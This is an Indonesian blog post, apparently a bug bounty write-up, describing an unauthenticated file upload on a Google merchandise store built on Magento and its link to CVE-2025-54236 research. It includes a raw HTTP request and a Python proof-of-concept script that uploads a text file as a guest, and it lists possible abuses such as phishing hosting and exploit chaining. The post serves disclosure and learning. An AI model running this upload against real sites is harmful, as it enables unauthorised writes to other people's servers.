Ad2EmqMcFm0njbfrDaezuALzMRJa38KmfggzzFGw
WILLMET
Review jujur barang dan jasa, life hacks, perspektif pribadi. Spill pengalaman asli tanpa disensor. Tips cerdas yang pasti berguna.

Write Up Unauthenticated File Upload on your.merch.google

Write-up unauthenticated file upload di your.merch.google berbasis Magento, dari riset awal sampai PoC dan dampak yang mungkin terjadi.



Awal Mula

Awalnya saya sedang membaca riset dari SL Cyber soal CVE-2025-54236 di Magento / Adobe Commerce. Riset itu membahas kenapa nested deserialization di Magento masih berbahaya, dan yang membuat saya makin tertarik, mereka juga menyinggung adanya unauthenticated file upload di endpoint tertentu.


google p3 bug bounty

Referensi itu yang membuat saya terpikir untuk menguji target yang memakai Magento, salah satunya your.merch.google. Jadi temuan ini bukan muncul secara acak, tetapi memang berangkat dari riset yang sudah membahas jalur serangan yang mirip.

Referensi yang saya pakai:


Kenapa Endpoint Ini Menarik?

Di artikel SL Cyber, mereka menunjukkan kalau Magento punya endpoint upload file yang bisa diakses tanpa autentikasi, yaitu:

/customer/address_file/upload

Endpoint ini dipakai untuk menangani upload file dari field custom_attributes. Yang menarik, mereka menunjukkan bahwa request ini bisa dilakukan oleh guest user, cukup memakai form_key yang nilainya bebas selama sama antara cookie dan parameter form.

Dari situ saya mencoba melihat apakah perilaku yang sama juga ada di your.merch.google. Dan ternyata, endpoint upload ini memang bisa dipakai untuk mengunggah file ke storage yang dapat diakses.


Deskripsi Temuan

Aplikasi di your.merch.google yang berjalan di atas Magento / Adobe Commerce memiliki endpoint upload file di:

/customer/address_file/upload

Dalam pengujian saya, server menerima file teks yang diunggah melalui parameter:

custom_attributes[country_id]

Setelah request dikirim, file tersebut diproses dan disimpan ke direktori media untuk customer address, yang bisa diakses dari web.

Intinya, guest user tanpa login masih bisa mengunggah file ke server. Walaupun sejauh pengujian saya format yang lolos baru file teks, ini tetap menarik karena menunjukkan adanya kemampuan unauthenticated file upload.


Kaitan dengan CVE-2025-54236

Biar jelas: saya tidak bilang temuan saya ini otomatis membuktikan seluruh chain exploit dari CVE-2025-54236 sampai RCE.

Tapi yang jelas, referensi SL Cyber memang menunjukkan bahwa file upload tanpa autentikasi merupakan salah satu bagian penting dalam pembahasan exploitability Magento pada kasus tersebut. Jadi menurut saya sangat wajar kalau riset itu dijadikan pijakan awal saat menguji target Magento lain.

Dengan kata lain, temuan di Google ini bisa dilihat sebagai permukaan serangan yang relevan dengan riset CVE-2025-54236, meskipun dampak lanjutan seperti deserialization chain atau RCE tidak saya buktikan di sini.


Syarat Pengujian

  • Tidak perlu login
  • Bisa dilakukan oleh guest user
  • Butuh form_key, tetapi nilainya bisa diambil atau disamakan dari sisi frontend

Jadi secara praktik, syarat exploit-nya ringan sekali.


Proof of Concept

Berikut request yang saya gunakan untuk menguji endpoint tersebut:

POST /customer/address_file/upload HTTP/1.1
Host: your.merch.google
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"
f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="hi-google-poc.txt"
Content-Type: text/plain
Pentest by ManadoGhost - Google
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--

PoC Script

Biar lebih simpel, saya juga membuat script Python kecil untuk menguji upload-nya.

import requests
import io
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def run_poc(target):
url = f"{target.rstrip('/')}/customer/address_file/upload"
file_content = "Pentest by ManadoGhost - Google"
s = requests.Session()
files = {
'custom_attributes[country_id]': ('hi-google-poc.txt', io.BytesIO(file_content.encode()), 'text/plain')
}
data = {'form_key': 'manadoghost'}
s.cookies.set("form_key", "manadoghost")
print(f"[!] Target: {url}")
try:
r = s.post(url, data=data, files=files, verify=False)
print("\\n--- REQUEST ---")
print(f"URL: {url}")
print(f"Data: {data}")
print("\\n--- RESPONSE ---")
print(f"Status Code: {r.status_code}")
print(f"Response Body: {r.text}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
run_poc("https://your.merch.google")

Hasil

google vrp write up


Request tersebut berhasil diproses, dan file yang diunggah bisa diakses dari path media customer address. Contohnya:

https://your.merch.google/media/customer_address/h/i/hi-google-poc.txt
https://web.archive.org/web/20260309164651/https://your.merch.google/media/customer_address/h/i/hi-google-poc.txt

Ini menunjukkan bahwa file memang berhasil ditulis ke storage aplikasi dan dapat diakses kembali.


Kenapa Ini Penting?

Kalau dilihat sekilas, mungkin orang akan bilang: “ya cuma upload file teks saja.” Tapi dalam konteks security Magento, file upload seperti ini tetap menarik sekali.

Alasannya simpel: di riset CVE-2025-54236, file upload justru dibahas sebagai salah satu bagian yang bisa membantu exploit chain lebih jauh. Jadi walaupun temuan saya di sini belum sampai RCE, permukaan serangan ini tetap layak dicatat.

Beberapa potensi yang terpikir antara lain:

  • hosting file arbitrer di subdomain tepercaya
  • phishing atau social engineering ringan
  • peluang abuse lebih lanjut kalau ada bypass validasi tambahan
  • kombinasi dengan bug Magento lain untuk membentuk chain yang lebih serius

Respons dari Google

Bug ini saya laporkan ke Google, tetapi akhirnya ditutup. Kurang lebih alasannya karena dari sudut pandang mereka, upload file seperti ini belum cukup berdampak sebagai security issue, terutama karena saya belum menunjukkan eksekusi script atau dampak lanjutan yang lebih berat.


Jujur saja, agak nyesek. Soalnya secara teknis temuan ini valid dan jelas ada perilaku upload yang seharusnya tidak bisa dilakukan guest user begitu saja. Tapi memang begitulah bug bounty, sering kali yang paling menentukan bukan cuma bug-nya, melainkan seberapa jauh impact yang bisa dibuktikan.


Pelajaran yang Saya Dapat

Dari sini saya makin merasa kalau di dunia bug bounty, bug saja tidak cukup, chain dan impact itu yang dicari.

Temuan upload file tanpa login tetap menarik, apalagi kalau sudah ada riset publik yang menunjukkan bahwa mekanisme serupa bisa relevan dalam exploit chain Magento seperti pada CVE-2025-54236. Tapi kalau tidak bisa dibawa lebih jauh, vendor kadang akan menganggap itu belum cukup untuk diprioritaskan.

Walaupun begitu, menurut saya ini tetap layak ditulis. Minimal jadi dokumentasi, jadi bahan belajar, dan jadi catatan bahwa kadang endpoint kecil yang kelihatannya sepele ternyata nyambung ke gambaran yang lebih besar.


Penutup

Buat saya pribadi, temuan ini tetap seru karena lahir dari proses riset yang nyambung dengan referensi nyata, bukan asal fuzzing buta. CVE-2025-54236 jadi pintu masuk untuk melihat ulang bagaimana Magento menangani input kompleks dan file upload, dan dari situ saya menemukan bahwa your.merch.google masih memperlihatkan perilaku upload file tanpa login.

Posting Komentar